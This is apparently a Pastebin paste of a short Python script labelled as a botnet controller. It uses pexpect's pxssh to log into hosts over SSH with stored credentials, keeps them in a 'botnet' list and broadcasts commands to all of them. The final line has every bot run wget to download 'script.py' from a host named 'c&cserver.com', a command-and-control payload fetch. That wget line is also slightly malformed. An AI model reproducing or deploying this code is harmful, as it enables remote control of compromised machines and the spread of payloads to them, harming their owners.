Guest User

Untitled

a guest
Dec 1st, 2018
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. Example:
  2.  
  3. from pexpect import pxssh
  4.  
  5. class Bot:
  6.  
  7. # initialize new client
  8. def __init__(self, host, user, password):
  9. self.host = host
  10. self.user = user
  11. self.password = password
  12. self.session = self.ssh()
  13.  
  14.  
  15. # secure shell into client
  16. def ssh(self):
  17. try:
  18. bot = pxssh.pxssh()
  19. bot.login(self.host, self.user, self.password)
  20. return bot
  21. except Exception as e:
  22. print('Connection failure.')
  23. print(e)
  24.  
  25.  
  26. # send command to client
  27. def send_command(self, cmd):
  28. self.session.sendline(cmd)
  29. self.session.prompt()
  30. return self.session.before
  31.  
  32.  
  33. # send a command to all bots in the botnet
  34. def command_bots(command):
  35. for bot in botnet:
  36. attack = bot.send_command(command)
  37. print('Output from ' + bot.host)
  38. print(attack)
  39.  
  40. # list of bots in botnet
  41. botnet = []
  42.  
  43. # add a new bot to your botnet
  44. def add_bot(host, user, password):
  45. new_bot = Bot(host, user, password)
  46. botnet.append(new_bot)
  47.  
  48. add_bot('10.0.0.59', '', '')
  49.  
  50. # list user home directory
  51. command_bots('ls')
  52.  
  53. # download scripts/files etc.
  54. command_bots("""wget -O /Users/Owner/Desktop/ "http://c&cserver.com/script.py"""")
Add Comment
Please, Sign In to add comment